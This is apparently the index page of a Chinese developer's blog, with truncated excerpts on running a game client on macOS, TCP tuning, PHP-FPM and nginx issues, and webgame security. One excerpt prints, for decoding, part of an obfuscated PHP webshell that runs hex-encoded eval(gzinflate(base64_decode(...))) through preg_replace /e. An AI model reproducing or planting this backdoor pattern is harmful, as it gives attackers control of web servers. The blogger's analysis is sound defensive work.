This post is password protected. To view it please enter your password below:Password:Submit ...继续阅读 (68)

This post is password protected. To view it please enter your password below:Password:Submit ...继续阅读 (68)

我算个LOL玩家吧，虽然是郊区白银段位的，虽然能1打5个电脑，但瘾不小。每次想打LOL，都找不到PC电脑，看着OSX却不能玩国服，只能玩美服、韩服。而外服的网络延迟比较大，根本没法打，跳帧严重，野怪都打不过。每次瘾来了时，总是想在OSX上也能玩，次数多了，决定试试，看看能否在OSX上玩国服。15年10月份对LOL英雄联盟录像做过解析器在mac osx上看lol国服ob录像的技术分析，文中最后提到过关于LOL客户端架构的组成，以及在OSX上打LOL国服还是有可能的。现状分析，League of legends有mac版本，在riot拳头运营的地区中，有韩服、美服、欧服之类国外服务器。而腾讯运营国服版，却没有OSX版本。上次的录像分析中，是腾讯运营的windows版本产生的录像文件，可以在OSX版本的美服上解析、渲染、播放，也就以为着协议是相通的，也就意味着用riot运营的OSX客户端，连接腾讯运营的服务器，应该可以正常通讯，正常游戏的。先来看下国服League of legends英雄联盟的目录结构国服LOL目录结构Air目录为LolClient.exe所在目录，即游戏大厅目录，air的，也就是flash as的，意味着反编译比较简单…Config目录确定Cross目录为腾讯游戏必装的各种乱七八糟工具包目录Game目录为game进程League of legends.ex ...继续阅读 (117)

一天，兴起而至，想在mac osx上看lol ob，要看国服的，没现成方案，实现不了，未遂，便决定研究一番。在拳头游戏官方的api中SPECTATING GAMES riot games api提到观看ob模式的程序启动参数：“C:\Riot Games\League of Legends\RADS\solutions\lol_game_client_sln\releases\0.0.1.74\deploy\League of Legends.exe” “8394” “LoLLauncher.exe” “” “spectatorspectator.na.lol.riotgames.com:80 P+C3YqI3Mg9oHc6t9eTAKWE4T8prxwzR 1726229459 NA1”程序启动的第三个参数中：“spectator spectator.na.lol.riotgames.com:80 P+C3YqI3Mg9oHc6t9eTAKWE4T8prxwzR 1726229459 NA1”这里面包括ob server地址、端口，以及本场录像文件加密key，以及游戏id，游戏所属平台id。其中 encryptionKey参数每次都不一样 ...继续阅读 (159)

本文为翻译英文BLOG《Coping with the TCP TIME-WAIT state on busy Linux servers》，但并非完整的翻译，译者CFC4N对原文理解后，进行了调整，增加了相关论点论据，跟原文稍有不同。翻译的目的，是为了加深自己知识点的记忆，以及分享给其他朋友，或许对他们也有帮助。文章比较长，没耐心请点关闭。不要启用net.ipv4.tcp_tw_recycle.linux 内核文档中，对net.ipv4.tcp_tw_recycle的描述并不是很明确。tcp_tw_recycle (Boolean; default: disabled; since Linux 2.4)[译者注：来自linux man tcp的描述]Enable fast recycling of TIME-WAIT sockets. Enabling this option is not recommended since this causesproblems when working with NAT (Network Address Translation).启用TIME-WAIT状态sockets的快速回收，这个选项不推荐启用。在NAT(Network Address Translation)网络下，会导致大量的TCP连接建立错误。与其配合的参数net.ipv4.t ...继续阅读 (135)

在一位前辈微博上看到，他总是给自己找点事做，让自己忙碌起来，严于律己。我甚有感触，相比之下自惭形秽，一直做不到，这应该就是大神跟我等小菜之间的差距吧。如今，事情主动找到我，而且是一而再再而三的找上来，我再去逃避，再不认真去面对这些问题，实在说不过去。朋友在群里问了问题，ubuntu server 14.04版本，apt-get install的PHP5-FPM，自己编译了phpredis，却发现始终没成功加载phpredis这个扩展。buntu@shnj-b-batch-30-222:~$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 14.04.2 LTSRelease: 14.04Codename: trusty以及他的操作方式root@shnj-b-batch-30-222:~$sudo /etc/init.d/php5-fpm restart而结果，却无任何回显。ps aux也看到所有FPM原来进程都还在，尝试sudo /etc/init.d/php5-fpm stop也无法停止掉进程，也无回显。无奈之下killall php5-fpmkill掉了所有FPM进程。当他再尝试sudo /etc/init.d/php5-fpm start，却发现PHP5- ...继续阅读 (125)

在前年时，业务中遇到好多次因为PHP-FPM的backlog参数引发的性能问题，一直想去详细研究一番，还特意在2013年总结里提到这事《为何PHP5.5.6中fpm backlog Changed default listen() backlog to 65535》，然而，我稍于懒惰，一拖再拖，直至今日，才动脑去想，动笔去写。2013年12月14发布的PHP5.5.6中，changelog中有一条变更，FPM:Changed default listen() backlog to 65535.这条改动，是在10月28日改的，见increase backlog to the highest value everywhereIt makes no sense to use -1 for *BSD (which is the highest value there)and still use 128 for Linux.Lets raise it right to up the limit and let the people lower it if theythink that 3.5Mb is too much for a process.IMO this is better than silently dropping connections.patch提交者认为，提高backlo ...继续阅读 (294)

最近的大半年中，编程语言从PHP换到了Golang后，就很少接触PHP，当然，更多的还是恋恋不舍。尽管如此，每当有人在群里聊起PHP的话题时，我总是想插几句，怀念怀念，同时也温故温故知识点，可不能把她给忘了。昨天朋友tywei问我一个关于PHP奇怪问题，查到原因解决后，没有详细的解释。夜里睡觉时，老是回想这事，早上醒来，决定还是认真记录一下这些问题。也让自己回归正常状态，多写点博客，总结自己，记录自己。问题描述PHP+nginx的环境，任何PHP处理的结果，都是空白页面。OS是ubuntu 14.10 ，nginx 1.6.2 ,PHP5.5.12, 问任何PHP的页面，返回的HTTP状态200，但页面内容是空的，什么都没有，不管PHP页面里写的是什么，正常响应。初步怀疑这是拓展的问题，处理请求后，输出内容有冲突，输出为空之类。想查看拓展列表，看看加载了哪些拓展，但任何PHP代码都返回空，不得已，只要CLI跑了下，确定ini是同一个之后，粗略的看了加载的模块Configuration File (php.ini) Path => /etc/php5/cli Loaded Configuration File => /etc/php5/cli/php.ini Scan this dir for additional .ini files => /etc/php5/cli/conf.d ...继续阅读 (131)

This post is password protected. To view it please enter your password below:Password:Submit ...继续阅读 (64)

眼看2014年1月马上就过去，现在我才有时间去总结2013年历程，足以看出在2013年里，我是那么的繁忙，说是『案牍劳形』的话，也毫不为过。(如果按照农历纪年的话，还不算晚。[偷笑])每年的年终总结，总有一两件非比寻常的事情，比如2010年在老家买房；2011年初结婚、年底儿子出生；2012考了驾照；2013呢?好像没有哪件事能称得上非比寻常，有特殊意义的事情。去年的总结中，曾下定决心，努力做到『少些微博，多写博客』，今天来看，已经实现“一半”了—-『少些微博』已实现。。。先说读书吧，在2012年的总结中，曾提到当年读书甚少，更别提技术类的书了，而今年，更是少之又少。电脑包里，常备一本《城南旧事》，爱不释手，坐车时，总会翻两页，每次读，每次都有新的感慨，我常想象儿子的童年回忆会是怎样？夏日时，树林中没有蝉可以抓，小河里没有鱼儿可以捕。冬日时，麦地里，没有溜出来觅食的野兔，桑树林里没有头钻雪堆中的野鸡。还有什么是可以值得怀念的呢？忘记余华《活着》是如何被我发现的，读完之后，翻阅豆瓣的评论，跟着一位评论作者有着相似的感慨—-你看见颓废，你看见衰败，你看见离奇却又平凡的人生。你只是抱着家珍说要好好过。你看见凄凉。你看见没落。你看见堕落而又坚强的过去。你只是赶着福贵要多耕点田。生活是怎么折磨一个人？唯有老爷子无声的长叹，在田地的那一头。除了上面两本之外，就剩下《采桑 ...继续阅读 (85)

十月一的假期间，在知乎上看到一个问题《网页游戏都有哪些安全问题？》，我是一个网页游戏开发者，对这个问题非常感兴趣，印象比较深刻。当时是在游玩，也没时间细看这个问题。后来，在微博上，有一位朋友的转发，又让我看到这个问题，冥冥中，有种想回答的冲动。上周六时，研发部门内部周会时，听到其他项目组的一个整型溢出问题，导致刷钱的bug，又让我想起这个问题，更加坚定我要回答这个问题的决心，总结一下这项目中，所有经历过的webgame安全问题的经验，以加固当前项目安全壁垒，避免损失。亦可分享给其他做webgame研发的朋友，做交流探讨。知乎中的原问题是『网页游戏都有哪些安全问题？』，我觉得不妥，我给改成了『网页游戏都有哪些安全问题？如何做得更安全？』，同时，问题也从『大家来研究探讨一下，网页游戏攻防技术。必定，这个话题很敏感。目前，网页游戏已经很多了，会不会被黑产盯上？网页游戏会不会被黑，数据库会不会被拖库』改成了『大家来研究探讨一下，网页游戏攻防技术。必定，这个话题很敏感。目前，网页游戏已经很多了，会不会被黑产盯上？网页游戏会不会被入侵？入侵方式有哪些？如何做好网页游戏的入侵防御？挽救措施有哪些？如何才能最小化减少厂商损失？入侵方式有哪些？如何做好网页游戏的入侵防御？挽救措施有哪些？如何才能最小化减少厂商损失？』，更改的理由是『本文原提问者开篇提到「大家来研究探讨一下，网页游戏攻防技术。」，那么 ...继续阅读 (129)

前段时间，在一位大牛的BLOG上看到其resume上撰写的开源项目列表琳琅满目，数不胜数。再跟自己对比一下，从来没有一个开源项目，没有成功的参加过一个开源项目，只是零星的贡献过几个所谓工具，脚本。顿时无地自容，同时也是羡慕不已，再暗自勉励鼓励自己，向这位大牛学习。也是在前段时间，遇到了一个正则的问题《为什么不能在字符组中使用反向引用》，使得我又跟着自己的思路，翻阅之前的博客，面包屑导航一般，跟着链接，走到了另外一篇博客《如何精确查找PHP WEBSHELL木马？》。写那篇博客时，是2010年7月，我还在久游网工作，工作内容也是代码安全相关。我最初的实现，也是基于正则表达式实现的字符串匹配，来捕捉查找危险代码。同时，也计划在二期里，用LEX+YACC来实现对PHP代码的精确分析，扫描查找，为此，也经常装模作样故弄玄虚的研究学习yacc、lex，学习PHP的Zend引擎实现方式，研究zend_language_scanner.l、zend_language_parser.y、zend_language_scanner.c等几个文件的编写思路等等等等。从我2月下旬入职，到11月初离职，总共7个多月的时间里，也并不是一直做这个项目，甚至这个项目只是作为我个人研究的范畴，平常工作中，只能利用空闲时间来研究。因为种种原因，在没有完成那个项目之后，离开了久游。不管是因为自己基础薄弱，还是时间不足 ...继续阅读 (106)

有个网友，发一封邮件给我，让我帮看下一段“加密”字符串的解密问题，在线解密的解密不了。代码大约如下：if (isset($_GET['cnxct'])) { $auth_pass = 'cfc4n'; $color = '#df5'; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace('/.*/e','\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0P ...继续阅读 (92)

很久很久以前，我也是因为工作上的bug，研究了php mysql client的连接驱动mysqlnd 与libmysql之间的区别php与mysql通讯那点事，这次又遇到一件跟他们有联系的事情，mysqli与mysql持久链接的区别。写出这篇文章，用了好一个多月，其一是我太懒了，其二是工作也比较忙。最近才能腾出时间，来做这些事情。每次做总结，都要认真阅读源码，理解含义，测试验证，来确认这些细节。而每一个步骤都需要花费很长的时间，而且，还不能被打断。一旦被打断了，都需要很长时间去温习上下文。也故意强迫自己写这篇总结，改改自己的惰性。在我和我的小伙伴们如火如荼的开发、测试时发生了“mysql server too many connections”的错误，稍微排查了一下，发现是php后台进程建立了大量的链接，而没有关闭。服务器环境大约如下php5.3.x 、mysqli API、mysqlnd 驱动。代码情况是这样：//后台进程A /* 配置信息 'mysql'=>array( 'driver'=>'mysqli', // 'driver'=>'pdo', // 'driver'=>'mysql', 'host'=>'192.168.111.111', 'user'=>'root', 'port'=>3306, 'dbname ...继续阅读 (87)

在web项目中，大家都已经非常熟悉其架构流程了。都说Cache是万金油，哪里不舒服抹哪里。这些流程中，几乎每个环节都会进行cache。从浏览器到webserver，到cgi程序，到DB数据库，会进行浏览器cache，数据cache，SQL查询的cache等等。对于fastcgi这里的cache，很少被使用。去年年底，我对nginx的fastcgi_cache进行摸索使用。在我的测试过程中，发现一些WIKI以及网络上没被提到的注意点，这里分享一下。从浏览器到数据库的流程图这里是我的NGinx配置信息#增加调试信息 add_header X-Cache-CFC "$upstream_cache_status - $upstream_response_time"; fastcgi_temp_path /dev/shm/nginx_tmp; #cache设置 fastcgi_cache_path /dev/shm/nginx_cache levels=1:2 keys_zone=cfcache:10m inactive=50m; fastcgi_cache_key "$request_method://$host$request_uri"; fastcgi_cache_methods GET HEAD; fastcgi_cache cfcache; fastcgi_cache_ ...继续阅读 (147)

很多互联网公司，都努力抢占互联网的用户入口，从PC的操作系统Ghost(番茄花园、深度)，到PC的浏览器入口(hao123)，到PC的桌面程序入口(360安全卫士)，再到移动平台的刷机程序(shendu、shuame)，这些地方，都陆续成为他们的目标。 在手机上，不管各种刷机程序如何精简软件，都剪不掉通讯录这个程序。如果，在通讯录中，展示当前用户Instant Messenger即时通讯工具中好友的在线状况呢？如果你想给别人打电话，在通讯录里找这个人，找到之后，发下下面有个QQ或者WeChat微信在线的图标，如果事情不紧急的话，你会选择通过QQ语音通话吗？这得从我去年年底，今年年初买的一部手机说起。在2012年底，我换了一部Android手机Google Nexus 4，这是我的第一步智能手机，我打算在它上面，做一些移动应用上的尝试。但不知道该做什么样的功能，无意中，看到通讯录中联系人的列表里，如果对方gtalk在线的话，会直接展示出来，而且，还会同步个性签名，这太棒了。Google Talk在国内，不是很流行，用户基数也少。在国内最流行的，莫过于腾讯的QQ了，以及手机专用的IM －－WeChat微信，我也是腾讯的重度老用户。试想着，也把QQ联系人状态显示在通讯录里，一目了然，方便用户，也扩大了腾讯的魔爪。程序上来说，我初次写android应用，java也已经5、6年没碰过，当初也 ...继续阅读 (76)